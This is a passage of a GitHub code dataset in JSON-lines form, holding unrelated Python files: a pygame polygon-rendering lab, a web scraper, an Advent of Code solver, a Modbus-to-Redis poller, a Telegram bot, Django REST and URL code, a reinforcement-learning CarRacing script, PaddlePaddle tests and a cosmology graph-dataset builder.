0\n\n\t\tfor i in range(1, len(dr)):\n\t\t\ta, b = self.getZ(dr[i], win)\n\t\t\t\n\t\t\tif a > zmax:\n\t\t\t\tn = i\n\t\t\t\tzmax = b\n\t\t\t\tzmin = a\n\n\t\tpg.draw.rect(self.screen, dr[n][1], win)\n\t\t\t\n\n\t#ПОМЕНЯТЬ\n\tdef check_angle(self, vert, x1, x2, y1, y2):\n\t\tx = vert[0]\n\t\ty = vert[1]\n\n\t\tif x >= x2 and y >= y1 and y < y2:\n\t\t\tt = 0\n\t\telif x > x2 and y >= y2:\n\t\t\tt = 1\n\t\telif x > x1 and x <= x2 and y >= y2:\n\t\t\tt = 2\n\t\telif x <= x1 and y > y2:\n\t\t\tt = 3\n\t\telif x <= x1 and y > y1 and y <= y2:\n\t\t\tt = 4\n\t\telif x < x1 and y <= y1:\n\t\t\tt = 5\n\t\telif x >= x1 and x < x2 and y <= y1:\n\t\t\tt = 6\n\t\telse:\n\t\t\tt = 7\n\n\t\treturn t\n\n\t#ПОМЕНЯТЬ\n\tdef check_ohvat(self, fig, wind):\n\t\tfv = fig[0]\n\t\tang = []\n\n\t\tx1 = wind[0]\n\t\tx2 = wind[0] + wind[2]\n\n\t\ty1 = wind[1]\n\t\ty2 = wind[1] + wind[3]\n\n\t\tfor vert in fv:\n\t\t\tang.append(self.check_angle(vert, x1, x2, y1, y2))\n\n\t\ts = 0\n\n\t\tfor i in range(len(ang)):\n\t\t\ta = ang[(i + 1) % len(ang)] - ang[i]\n\n\t\t\tif a > 4:\n\t\t\t\ta -= 8\n\t\t\telif a < -4:\n\t\t\t\ta += 8\n\t\t\telif abs(a) == 4:\n\t\t\t\ttx1 = fv[i][0]\n\t\t\t\ttx2 = fv[(i + 1) % len(fv)][0]\n\n\t\t\t\tty1 = fv[i][1]\n\t\t\t\tty2 = fv[(i + 1) % len(fv)][1]\n\t\t\t\t\n\t\t\t\tf = [fig[0].copy(), fig[1]]\n\n\t\t\t\td = [tx1 + (y1 - ty1) * (tx2 - tx1) / (ty2 -ty1), y1]\n\t\t\t\tt = self.check_angle(d, x1, x2, y1, y2)\n\n\t\t\t\tif (t == ang[i] or t == ang[(i + 1) % len(ang)]):\n\t\t\t\t\td = [tx1 + (y2 - ty1) * (tx2 - tx1) / (ty2 -ty1), y2]\n\t\t\t\t\tt = self.check_angle(d, x1, x2, y1, y2)\n\n\t\t\t\t\tif (t == ang[i] or t == ang[(i + 1) % len(ang)]):\n\t\t\t\t\t\td = [x1, ty1 + (ty2 - ty1) * (x1 - tx1) / (tx2 - tx1)]\n\t\t\t\t\t\tt = self.check_angle(d, x1, x2, y1, y2)\n\n\t\t\t\t\t\tif (t == ang[i] or t == ang[(i + 1) % len(ang)]):\n\t\t\t\t\t\t\td = [x2, ty1 + (ty2 - ty1) * (x2 - tx1) / (tx2 - tx1)]\n\t\t\t\t\t\t\tt = self.check_angle(d, x1, x2, y1, y2)\n\t\t\t\t\n\t\t\t\tf[0].insert(i + 1, d)\n\t\t\t\treturn self.check_ohvat(f, wind)\n\n\t\t\ts += a\n\n\t\treturn s % 8 == 0 and s != 0\n\n\n\n\tdef check_rezult(self, figura, wind):\n\t\trezult = False\n\t\trebra = []\n\n\t\tfor i in range(len(figura)):\n\t\t\trebra.append([])\n\t\t\trebra[i].append(figura[0][i])\n\t\t\trebra[i].append(figura[0][(i + 1) % len(figura)])\n\t\tj = 0\n\t\twhile rezult == False and j < len(rebra):\n\t\t\t\n\t\t\tif not (rebra[j][0][0] > wind[0] + wind[2] and rebra[j][1][0] > wind[0] + wind[2] or rebra[j][0][0] < wind[0] and rebra[j][1][0] < wind[0] or rebra[j][0][1] > wind[1] + wind[3] and rebra[j][1][1] > wind[1] + wind[3] or rebra[j][0][1] < wind[1] and rebra[j][1][1] < wind[1]):\n\t\t\t\txr = rebra[j][1][0] - rebra[j][0][0]\n\t\t\t\tyr = rebra[j][1][1] - rebra[j][0][1]\n\t\t\t\tif xr == 0:\n\t\t\t\t\tif (wind[0] - rebra[j][0][0]) * (wind[0] + wind[2] - rebra[j][0][0]) < 0:\n\t\t\t\t\t\trezult = True\n\t\t\t\telif yr == 0:\n\t\t\t\t\tif (wind[1] - rebra[j][1][1]) * (wind[1] + wind[3] - rebra[j][1][1]) < 0:\n\t\t\t\t\t\trezult = True\n\t\t\t\telse:\n\t\t\t\t\tm = yr / xr\n\t\t\t\t\tb = rebra[j][1][1] - m * rebra[j][1][0]\n\t\t\t\t\tlast = wind[1] - m * wind[0] - b\n\t\t\t\t\tfor k in range(1, 4):\n\t\t\t\t\t\tc0 = wind[0]\n\t\t\t\t\t\tc1 = wind[1]\n\t\t\t\t\t\t#if ():\n\t\t\t\t\t\tn = c1 - m * c0 - b\n\t\t\t\t\t\tck0 = c0;\n\t\t\t\t\t\tck1 = c1;\n\t\t\t\t\t\tif (k < 3):\n\t\t\t\t\t\t\tck1 += wind[3]\n\n\t\t\t\t\t\tif (k > 1):\n\t\t\t\t\t\t\tck0 += wind[2]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif last * n < 0:\n\t\t\t\t\t\t\trezult = True\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif last == 0:\n\t\t\t\t\t\t\tlast = n\n\t\t\tj += 1\n\t\t\t\t\n\t\treturn rezult\n\n\tdef control(self):\n\t\t\n\t\tfor p in range(1024):\n\t\t\ttime.sleep(0.000000003)\n\t\t\tif (len(self.windows) != 0):\n\t\t\t\twind = self.windows.pop()\n\t\t\t\tsize = wind[2]\n\t\t\t\tnum = 0\n\t\t\t\tvnesh = 0\n\t\t\t\tdraw = []\n\n\t\t\t\twhile (num < len(self.figure)):\n\t\t\t\t\tfigura = self.figure[num]\n\t\t\t\t\t\n\t\t\t\t\tx_min = figura[0][0][0]\n\t\t\t\t\tx_max = figura[0][0][0]\n\t\t\t\t\ty_min = figura[0][0][1]\n\t\t\t\t\ty_max = figura[0][0][1]\n\n\t\t\t\t\tfor i in range(len(figura[0])):\n\t\t\t\t\t\tif (figura[0][i][0] < x_min):\n\t\t\t\t\t\t\tx_min = figura[0][i][0]\n\t\t\t\t\t\tif (figura[0][i][0] > x_max):\n\t\t\t\t\t\t\tx_max = figura[0][i][0]\n\t\t\t\t\t\tif (figura[0][i][1] < y_min):\n\t\t\t\t\t\t\ty_min = figura[0][i][1]\n\t\t\t\t\t\tif (figura[0][i][1] > y_max):\n\t\t\t\t\t\t\ty_max = figura[0][i][1]\n\n\n\n\t\t\t\t\t#фигура внешняя\n\t\t\t\t\tif x_min >= wind[0] + wind[2] or x_max <= wind[0] or y_min >= wind[1] + wind[3] or y_max <= wind[1]:\n\t\t\t\t\t\tvnesh += 1\n\n\t\t\t\t\telif size == 1 and vnesh != len(self.figure):\n\t\t\t\t\t\t#фигура внутренняя\n\t\t\t\t\t\tif x_min >= wind[0] and x_max <= wind[0] + wind[2] and y_min >= wind[1] and y_max <= wind[1] + wind[3]:\n\t\t\t\t\t\t\tdraw.append(figura)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif self.check_rezult(figura, wind):\n\t\t\t\t\t\t\t\tdraw.append(figura)\n\t\t\t\t\t\t\telif self.check_ohvat(figura, wind):\n\t\t\t\t\t\t\t\tdraw.append(figura)\n\t\t\t\t\t\t#else:\n\t\t\t\t\t\t\t#if \n\n\t\t\t\t\tnum += 1\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif vnesh == len(self.figure):\n\t\t\t\t\tpg.draw.rect(self.screen, (255, 155, 155), wind)\n\t\t\t\telif (size > 1):\n\t\t\t\t\tsize /= 2\n\t\t\t\t\tw1 = [wind[0], wind[1], size, size]\n\t\t\t\t\tpg.draw.rect(self.screen, (64, 128, 255), w1, 1)\n\t\t\t\t\tself.windows.append(w1.copy());\n\t\t\t\t\tw1[0] += size\n\t\t\t\t\tpg.draw.rect(self.screen, (64, 128, 255), w1, 1)\n\t\t\t\t\tself.windows.append(w1.copy());\n\t\t\t\t\tw1[1] += size\n\t\t\t\t\tpg.draw.rect(self.screen, (64, 128, 255), w1, 1)\n\t\t\t\t\tself.windows.append(w1.copy());\n\t\t\t\t\tw1[0] -= size\n\t\t\t\t\tpg.draw.rect(self.screen, (64, 128, 255), w1, 1)\n\t\t\t\t\tself.windows.append(w1.copy());\n\t\t\t\telse:\n\t\t\t\t\tif (len(draw) > 0):\n\t\t\t\t\t\tself.draw_func(draw, wind)\n\t\t\t\t\telse:\n\t\t\t\t\t\tpg.draw.rect(self.screen, (255, 155, 155), wind)\n\n\n\n\t\t\t\t\t\n\n\t\t\t\t\t\t\n\n\tdef new_position(self, fig_position):\n\t\tnew_position = []\n\t\tfor i in range(len(fig_position)):\n\t\t\tnew_position.append([fig_position[i][0], fig_position[i][1]])\n\t\treturn new_position\n\n\tdef draw(self): #Отрисовка\n\t\tself.screen.fill(pg.Color('darkslategray')) #Цвет заднего фона\n\t\tpg.draw.rect(self.screen, (255, 255, 255), \n\t\t\t\t (256, 256, 516, 516), 1)\n\t\t\n\t\tfor figura in self.figure:\n\t\t\tpg.draw.polygon(self.screen, 'black', self.new_position(figura[0]), 1)\n\t\t\tself.windows.append([258, 258, 512, 512]); #\n\n\n\tdef run(self):\n\t\tself.draw() #Отрисовка объектов\n\t\twhile True:\n\t\t\t\n\t\t\t[exit() for i in pg.event.get() if i.type == pg.QUIT]   #Проверка на выход из приложения\n\t\t\tpg.display.set_caption(str(\"Лабораторная работа №2, Голиков\"))  #Заголовок приложения \n\t\t\tpg.display.flip()\n\t\t\tself.clock.tick(self.FPS)   #Обновление поверхности отрисовки\n\t\t\tself.control()\n\t\t\t\nif __name__ == '__main__':\n\tapp = SoftwareRender()  #Экземпляр класса\n\tapp.run()   #Запуск","repo_name":"dunlop22/G_Lab2","sub_path":"G_Lab2/G_Lab2.py","file_name":"G_Lab2.py","file_ext":"py","file_size_in_byte":8079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16955606667","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom datetime import date\n\n\ndef waypointtech():\n    print(\"----> STARTING: web scraping of Allterra.com\")\n    item_count = 0\n    SOURCE_WEBSITE = 'waypointtech'\n    DATE_ACCESSED = str(date.today())\n\n    file_string = f\"web_scrap_{SOURCE_WEBSITE}_{DATE_ACCESSED}.csv\"\n    file = open(file_string, \"w\")\n    file.write(\"Title, Description, Price, Web_source, Link, Date_Accessed, Model #\\n\")\n\n    # This header makes it so the website doesn't realize this is a web scrapper. There is a create article with more tricks like this: https://pknerd.medium.com/5-strategies-to-write-unblock-able-web-scrapers-in-python-5e40c147bdaf\n    headers = {\n        'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',\n    }\n\n    URL = f\"https://www.waypointtech.com/geospatial/trimble-t100-mwy8r-r76kl\"\n    r = requests.get(URL, headers=headers)\n\n    soup = BeautifulSoup(r.content, 'html.parser')\n\n    title = soup.find('h1', attrs={'class': 'product-title'}).text.replace(',', '').replace('\\n', '')\n    description = soup.find('div', attrs={'class': 'product-excerpt'}).text.replace(',', '').replace('\\n', '')\n    price = soup.find('div', attrs={'class': 'product-price'}).text.replace(',', '').replace('\\n', '')\n    link = 'https://www.waypointtech.com/geospatial/trimble-t100-mwy8r-r76kl'\n    model_number = ''\n\n    file.write(f\"{title}, {description}, {price}, {SOURCE_WEBSITE}, {link}, {DATE_ACCESSED}, {model_number}\\n\")\n    item_count += 1\n\n\n    print(f\"----> FINISHED: Web scraping Waypointtech.com \\nThe number of items saved to the file is {item_count}.\")\n\n    file.close()\n    return file_string\n\n\n\n# waypointtech()\n","repo_name":"kadenatjuniper/tabletWebScraping","sub_path":"src/waypointtech.py","file_name":"waypointtech.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"37271619157","text":"from collections import defaultdict\n\n\ndef gen_regex(r):\n    \"\"\"Create a regex\"\"\"\n\n    if r == 8:\n        return '(' + gen_regex(42) + ')+'\n    if r == 11:\n        r42 = gen_regex(42)\n        r31 = gen_regex(31)\n        parts = []\n        # We don't generally make it work, we just make it work for up to\n        # 10 recursions of rule 11 which is good enough for our input.\n        for i in range(1, 10):\n            parts.append('(%s){%d}(%s){%d}' % (r42, i, r31, i))\n        return '(' + '|'.join(parts) + ')'\n\n    if isinstance(r, str):\n        return r\n    parts = rules[r]\n    if len(parts) == 1:\n        return ''.join(gen_regex(child) for child in parts[0])\n    return '(' + '|'.join(\n        ''.join(gen_regex(child) for child in p) for p in parts) + ')'\n\n\n\n\n\n\nif __name__ == '__main__':\n    rules_raw, vals = open(\"19.txt\").read().split(\"\\n\\n\")\n    # rules = rules.split(\"\\n\")\n    # rules_d = {x.strip(): y.strip() for x, y in (z.split(\":\") for z in rules)}\n\n    # print(solve_a(rules_d, vals))\n\n    rules = {}\n    for line in rules_raw.strip().splitlines():\n        k, rest = line.split(':')\n        parts = rest.split('|')\n        rules[int(k)] = [tuple(map(eval, p.split())) for p in parts]\n\n    import re\n\n    m = re.compile('^' + gen_regex(0) + '$')\n    count = 0\n    for line in vals.strip().splitlines():\n        if m.match(line.strip()):\n            count += 1\n    print(count)\n","repo_name":"DannyLee12/aoc","sub_path":"2020/19.py","file_name":"19.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"38246329894","text":"#!/usr/bin/env python3\n\n\"\"\"Pull some modbus data and publish it on redis keys.\"\"\"\n\nimport time\nimport logging\n# sudo pip3 install pyModbusTCP==0.2.0\nfrom pyModbusTCP.client import ModbusClient\nfrom pyModbusTCP.utils import decode_ieee, word_list_to_long\n# sudo apt install python3-redis\nimport redis\n# sudo apt install python3-schedule\nimport schedule\n\n\n# define schedule jobs\ndef modbus_job():\n    \"\"\"Periodic modbus refresh job.\"\"\"\n    try:\n        # do modbus requests on slave @3\n        mcl.unit_id = 3\n        # bool read\n        coils_l = mcl.read_coils(20488, 1)\n        logging.debug(f'read 1 coil at @20488 return {coils_l}')\n        # float read\n        regs_l = mcl.read_holding_registers(514, 2)\n        logging.debug(f'read 2 registers at @514 return {regs_l}')\n        # process requests results\n        if coils_l:\n            rdb.set('cvm16:good', int(coils_l[0]), ex=120)\n        if regs_l:\n            # convert to IEEE 754 float\n            floats_l = [decode_ieee(f) for f in word_list_to_long(regs_l)]\n            rdb.set('cvm16:wobbe', round(floats_l[0], 2), ex=120)\n    except redis.RedisError as e:\n        logging.error(f'redis error occur: {e!r}')\n\n\nif __name__ == '__main__':\n    # logging setup\n    logging.basicConfig(format='%(asctime)s - %(levelname)-8s - %(message)s', level=logging.INFO)\n    logging.getLogger('schedule').setLevel(logging.WARNING)\n    # log startup\n    logging.info('import-modbus-app started')\n\n    # init redis DB\n    rdb = redis.StrictRedis()\n    # init modbus client (connect to serial gateway)\n    mcl = ModbusClient(host='localhost', port=5020)\n    # set schedule config\n    schedule.every(2).seconds.do(modbus_job)\n\n    # first call\n    modbus_job()\n\n    # main loop\n    while True:\n        schedule.run_pending()\n        time.sleep(1.0)\n","repo_name":"sourceperl/sandbox","sub_path":"redis/modbus2redis.py","file_name":"modbus2redis.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"43513672609","text":"from telegram import Bot\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nfrom threading import Thread\nimport logging, io, settings\n\nTOKEN = settings.TELEGRAM_API_TOKEN\n\nclass PiTelegramBot():\n\n    bot = Bot(token=TOKEN)\n    updater = None\n    logger = logging.getLogger(__name__)\n\n    def __init__(self):\n        self.logger.info(\"Starting chat bot\")        \n\n    def send_sound_detected(self, count):\n        self.bot.send_message(chat_id=settings.TELEGRAM_CHAT_ID, text=\"Sound module captured sound {} times in the last minute...\".format(count))\n        self.bot.send_message(chat_id=settings.TELEGRAM_CHAT_ID, text=\"Send the /photo command to the bot to see what is going on\")","repo_name":"AndreasKapsalis/pisuite","sub_path":"telegram_chat_bot.py","file_name":"telegram_chat_bot.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"19049510653","text":"# -*- coding: utf-8 -*-\nfrom distutils.version import LooseVersion\nfrom django import get_version\nfrom drf_tweaks.serializers import ContextPassing\nfrom rest_framework.serializers import ListSerializer, Serializer\n\ntry:\n    from django.db.models.fields import related_descriptors\nexcept ImportError:\n    from django.db.models.fields import related as related_descriptors\n\n\ndef check_if_related_object(model_field):\n    if LooseVersion(get_version()) >= LooseVersion(\"1.9\"):\n        return any(isinstance(model_field, x) for x in (related_descriptors.ForwardManyToOneDescriptor,\n                                                        related_descriptors.ReverseOneToOneDescriptor))\n    else:\n        return any(isinstance(model_field, x) for x in (related_descriptors.SingleRelatedObjectDescriptor,\n                                                        related_descriptors.ReverseSingleRelatedObjectDescriptor))\n\n\ndef check_if_prefetch_object(model_field):\n    if LooseVersion(get_version()) >= LooseVersion(\"1.9\"):\n        return any(isinstance(model_field, x) for x in (related_descriptors.ManyToManyDescriptor,\n                                                        related_descriptors.ReverseManyToOneDescriptor))\n    else:\n        return any(isinstance(model_field, x) for x in (related_descriptors.ManyRelatedObjectsDescriptor,\n                                                        related_descriptors.ForeignRelatedObjectsDescriptor,\n                                                        related_descriptors.ReverseManyRelatedObjectsDescriptor))\n\n\ndef run_autooptimization_discovery(serializer, prefix, select_related_set, prefetch_related_set, is_prefetch,\n                                   only_fields, include_fields, force_prefetch=False):\n    if not hasattr(serializer, \"Meta\") or not hasattr(serializer.Meta, \"model\"):\n        return\n    model_class = serializer.Meta.model\n\n    if hasattr(serializer, \"get_on_demand_fields\"):\n        on_demand_fields = serializer.get_on_demand_fields()\n    else:\n        on_demand_fields = set()\n\n    def filter_field_name(field_name, fields_to_serialize):\n        if fields_to_serialize is not None:\n            return ContextPassing.filter_fields(field_name, fields_to_serialize)\n        return None\n\n    for field_name, field in serializer.fields.items():\n        if hasattr(serializer, \"check_if_needs_serialization\"):\n            if not serializer.check_if_needs_serialization(field_name, only_fields, include_fields, on_demand_fields):\n                continue\n\n        if isinstance(field, ListSerializer):\n            if \".\" not in field.source and hasattr(model_class, field.source):\n                model_field = getattr(model_class, field.source)\n                if check_if_prefetch_object(model_field):\n                    prefetch_related_set.add(prefix + field.source)\n                    run_autooptimization_discovery(field.child, prefix + field.source + \"__\", select_related_set,\n                                                   prefetch_related_set, True,\n                                                   filter_field_name(field_name, only_fields),\n                                                   filter_field_name(field_name, include_fields))\n        elif isinstance(field, Serializer):\n            if \".\" not in field.source and hasattr(model_class, field.source):\n                model_field = getattr(model_class, field.source)\n                if check_if_related_object(model_field):\n                    if is_prefetch or force_prefetch:\n                        prefetch_related_set.add(prefix + field.source)\n                    else:\n                        select_related_set.add(prefix + field.source)\n                    run_autooptimization_discovery(field, prefix + field.source + \"__\", select_related_set,\n                                                   prefetch_related_set, is_prefetch,\n                                                   filter_field_name(field_name, only_fields),\n                                                   filter_field_name(field_name, include_fields))\n        elif \".\" in field.source:\n            field_name = field.source.split(\".\", 1)[0]\n            if hasattr(model_class, field_name):\n                model_field = getattr(model_class, field_name)\n                if check_if_related_object(model_field):\n                    if is_prefetch or force_prefetch:\n                        prefetch_related_set.add(prefix + field_name)\n                    else:\n                        select_related_set.add(prefix + field_name)\n\n\nclass AutoOptimizeMixin(object):\n    def get_queryset(self):\n        # discover select/prefetch related structure\n        serializer = self.get_serializer_class()(context=self.get_serializer_context())\n\n        if hasattr(serializer, \"get_only_fields_and_include_fields\"):\n            only_fields, include_fields = serializer.get_only_fields_and_include_fields()\n        else:\n            only_fields, include_fields = set(), set()\n\n        select_related_set = set()\n        prefetch_related_set = set()\n        run_autooptimization_discovery(\n            serializer, \"\", select_related_set, prefetch_related_set, False, only_fields, include_fields,\n            force_prefetch=getattr(self, \"AUTOOPTIMIZE_FORCE_PREFETCH\", False)\n        )\n\n        # ammending queryset\n        queryset = super(AutoOptimizeMixin, self).get_queryset()\n        if select_related_set:\n            queryset = queryset.select_related(*list(select_related_set))\n        if prefetch_related_set:\n            queryset = queryset.prefetch_related(*list(prefetch_related_set))\n        return queryset\n","repo_name":"HealthByRo/drf_tweaks","sub_path":"drf_tweaks/optimizator.py","file_name":"optimizator.py","file_ext":"py","file_size_in_byte":5633,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"51"}
+{"seq_id":"1887872786","text":"from django.contrib import admin\nfrom django.urls import path\nfrom .import views\nfrom django.conf import settings\n\nurlpatterns = [\n   \n    path('', views.index, name='securitydashboard'),\n    path('login/', views.securityLogin, name='securityLogin'),\n   \tpath(\"logout/\", views.handlelogout, name=\"securitylogout\"),\n   \tpath('home/', views.home, name='securityhome'),\n   \t\n   \tpath('complain/', views.complain, name='securitycomplain'),\n   \tpath('view/<int:myid>', views.view, name='complain_view'),\n    path(\"reply/<int:comid>\", views.reply, name=\"reply_complaint\"),\n   \tpath('delete/<int:myid>', views.delete, name='complain_delete'),\n   \t\n   \tpath('voting/', views.voting, name='securityvoting'),\n   \tpath('group/', views.group_add, name='vote_group'),\n   \tpath('listgroup/', views.listgroup, name='listgroup'),\n   \tpath('groupview/<myid>', views.groupview, name='groupview'),\n    path('delete_group/<int:myid>', views.delete_group, name='delete_group'),\n    path('makevote/', views.makevote, name='makevote'),\n    path('startingvote/', views.startingvote, name='startingvote'),\n    path('endvoting/<msg>', views.endvoting, name='endvoting'),\n\n    path('votecount/<voter>', views.votecount, name='votecount'),\n    path('v_result/', views.v_result, name='vote_result'),\n    path('erase/<msg>', views.erase, name='erase_votes'),\n\n    path('main/', views.main, name='maintenance'),\n    path('billgenerat/', views.billgenerat, name='billgenerat'),\n    path('billform/<flat>', views.billform, name='billform'),\n    path('bilgen/', views.bilgenrated, name='bilgenrated'),\n    path('billview/', views.billview, name='bilview'),\n    path('bill/<int:mt_id>', views.bill, name='bill'),\n    path('bilupdate/<int:main_id>', views.bilupdate, name='billupdate'),\n    path('recents/', views.recent, name='recent'),\n    path('recentview/', views.recentview, name='recentview'),\n    path('recentbilview/<int:rmt_id>', views.recentbilview, name='recentbilview'),\n\n    path('visit/', views.visit, name='visitors_info')\n    # path(\"handlerequest/\", views.handlerequest, name=\"HandleRequest\")\n\n]\n","repo_name":"Bhavesh852/Smarts","sub_path":"security/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"34248360268","text":"\"\"\" Reinforcement Learning example: training a PPO model in carracing using stable baselines 3\n    \n    In cmd run: tensorboard --logdir=. in the carracing_training/logs/PPO_1 folder to view the logs\n\n    Needs swig, python 3.7 and gym 0.21:\n        conda install -c conda swig\n        conda create -n p37 python=3.7\n        pip install gym[box2d]=0.21\n        \n    Sources:\n    https://stable-baselines3.readthedocs.io/en/master/\n    https://github.com/openai/gym\n\"\"\"\nimport gym\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.vec_env import DummyVecEnv\nfrom stable_baselines3.common.evaluation import evaluate_policy\nimport os\n\n\n# TEST MODEL\nenvironment_name = \"CarRacing-v0\"\nenv = gym.make(environment_name)\nenv = DummyVecEnv([lambda: env]) # for making several instances\n\n# Load model\nlog_path = os.path.join(\"src/MachineLearning/Other/CarRacingExamples/carracing_training/\", \"training\", \"logs\")\nppo_path = os.path.join(\"src/MachineLearning/Other/CarRacingExamples/carracing_training/\", \"models\", \"PPO_Driving_Model\")\nmodel = PPO.load(ppo_path, env=env, device='cuda')\nprint(env.action_space)\n\nepisodes = 5\nfor episode in range(episodes):\n    observation = env.reset()\n    done = False\n    score = 0\n\n    while not done:\n        env.render()\n        action = model.predict(observation)\n        # print(f\"action: {action}\")\n        observation, reward, done, _ = env.step(action[0])\n        score += reward\n    print(\"Episode: {} Score: {}\".format(episode, score))\nenv.close()\n\n# --------------------------------------------------------------------------------------------------\n# TRAIN MODEL\n\n# log_path = os.path.join(\"src/MachineLearning/Other/\", \"training\", \"logs\")\n# ppo_path = os.path.join(\"src/MachineLearning/Other/\", \"training\", \"models\", \"PPO_Driving_Model\")\n\n# environment_name = \"CarRacing-v0\"\n# env = gym.make(environment_name)\n# env = DummyVecEnv([lambda: env])\n# env.render()\n\n# model = PPO(\"CnnPolicy\", env, verbose=1, tensorboard_log=log_path, device=\"cuda\")\n\n# # Load model (comment line 50 if you use this)\n# # model = PPO.load(ppo_path, env=env)\n\n# # Train model\n# model.learn(total_timesteps=50000)\n# model.save(ppo_path)\n\n\n# print(evaluate_policy(model, env, n_eval_episodes=10, render=True))","repo_name":"JustinBoxemDEV/SDC-HANZE-2022","sub_path":"src/MachineLearning/ReinforcementLearning/RLExamples/CarRacingExamples/rl_carracing_example.py","file_name":"rl_carracing_example.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17533878568","text":"import subprocess\n\ndef lambda_handler(event, context):\n    rig_command = \"rig -d /opt/rig\"\n    random_identity = subprocess.getoutput(rig_command)\n    return {\n        \"identity\": random_identity,\n    }\n\nif __name__ == \"__main__\":\n    # Test function\n    print(lambda_handler(\"\", \"\"))\n","repo_name":"ArionMiles/lambda-layers-for-elf-binaries","sub_path":"src/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"38960360759","text":"import sys\nimport paddle\nimport numpy as np \nsys.path.append(\"..\")\nfrom models.common import *\n\n\ndef test_focus():\n    data   = paddle.to_tensor(np.random.randn(4, 3, 128, 128), dtype='float32')\n    focus  = Focus(3, 64)\n    result = focus(data)\n    print(result.shape)\n\ndef test_SPP():\n    data   = paddle.to_tensor(np.random.randn(4, 128, 64, 64), dtype='float32')\n    spp    = SPP(128, 256)\n    result = spp(data)\n    print(result.shape)\n\n\ndef test_bottleneckcsp():\n    data   = paddle.to_tensor(np.random.randn(4, 256, 32, 32), dtype='float32')\n    model  = BottleneckCSP(256, 512, n=3)\n    result = model(data)\n    print(result.shape)\n\ndef test_bottleneck():\n    data   = paddle.to_tensor(np.random.randn(4, 256, 32, 32), dtype='float32')\n    model  = Bottleneck(256, 512)\n    result = model(data)\n    print(result.shape)\n\nif __name__ == '__main__':\n    #test_focus()\n    #test_SPP()\n    #test_bottleneckcsp()\n    test_bottleneck()\n    ","repo_name":"EmiyaNing/paddle-yolov5","sub_path":"test/test_common.py","file_name":"test_common.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"2644491852","text":"import os\nimport torch\n\nos.environ['TORCH'] = torch.__version__\nprint(torch.__version__)\n\nimport numpy as np\nimport h5py\n\n\nfrom torch_geometric.data import Data\nimport numpy as np\nfrom torch_geometric.loader import DataLoader\n\n#number of star threshold\nNstar_th = 5\n\n#Use cosmological and astrophysical parameters as global features\nglobal_parameters = False\ncosmo_parameters = True  #use only cosmological parameters\nastro_parameters = False #use only astrophysical parameters\n\n#in this case I'm creating a training dataset and a validation dataset splitting the simulations\nsimpathroot = '/data/bcostanza/data'\nnsim = 1024\n\n#nhalos = 20 #number of haloes per simulation\n#put numbers to choose how many simulations are you taking for training, validation and testing\nsplit_train = 720  #0 to 500 simulations for training\nsplit_valid = 870 #500 to 700 simulations for validation\nsplit_test = nsim #700 to 750 simulations for testing\n\n#name of the dataset \nname_train = 'masswdm_train_menos10_new_sigma8.pt'\nname_valid = 'masswdm_valid_menos10_new_sigma8.pt'\nname_test = 'masswdm_test_menos10_new_sigma8.pt'\n\n#--------------------------------------------------------------------------------------------------------\n\ndef correct_boundary(pos, boxlength=1.):\n    \n    for i, pos_i in enumerate(pos):\n        for j, coord in enumerate(pos_i):\n            if coord > boxlength/2.:\n                pos[i,j] -= boxlength\n            elif -coord > boxlength/2.:\n                pos[i,j] += boxlength\n    return pos\n\ndef euclidean_distance(n_sub,position):\n    distance = torch.zeros((n_sub,n_sub))\n    for k in range(len(position)):\n        for j in range(len(position)):\n              distance[k,j] = torch.cdist(position[k].unsqueeze(0), position[j].unsqueeze(0), p=2)\n    return distance\n\n#new version of features taken from Cosmo1gal\ndef features_new_v2(fin):\n    \n    f = h5py.File(fin, 'r')\n    \n    header = f['Header']\n    boxsize = header.attrs[u'BoxSize']\n    \n    #load subhalos features\n    Pos_subhalo = f[\"Subhalo/SubhaloPos\"][:]/boxsize #I only use this for the r_link calculation\n    Mg = f['/Subhalo/SubhaloMassType'][:,0]*1e10 #gass mass content (Msun/h)\n    Mstar = f[\"Subhalo/SubhaloMassType\"][:,4]*1e10  #stellar mass of the galaxy\n    Mbh  = f['/Subhalo/SubhaloBHMass'][:]*1e10 #black hole mass of the galaxy\n    Mtot = f['/Subhalo/SubhaloMass'][:]*1e10 #total mass of the subhalo hosting the galaxy\n    \n    Rstar = f[\"Subhalo/SubhaloHalfmassRadType\"][:,4]/1e3 #Mpc/h #radnorm #radius galaxy\n    Rtot = f['/Subhalo/SubhaloHalfmassRad'][:]/1e3 #Mpc/h\n    Rvmax  = f['/Subhalo/SubhaloVmaxRad'][:]/1e3 #Mpc/h\n\n\n    GMetal = f[\"Subhalo/SubhaloGasMetallicity\"][:] #gas metallicity\n    SMetal = f[\"Subhalo/SubhaloStarMetallicity\"][:] #star 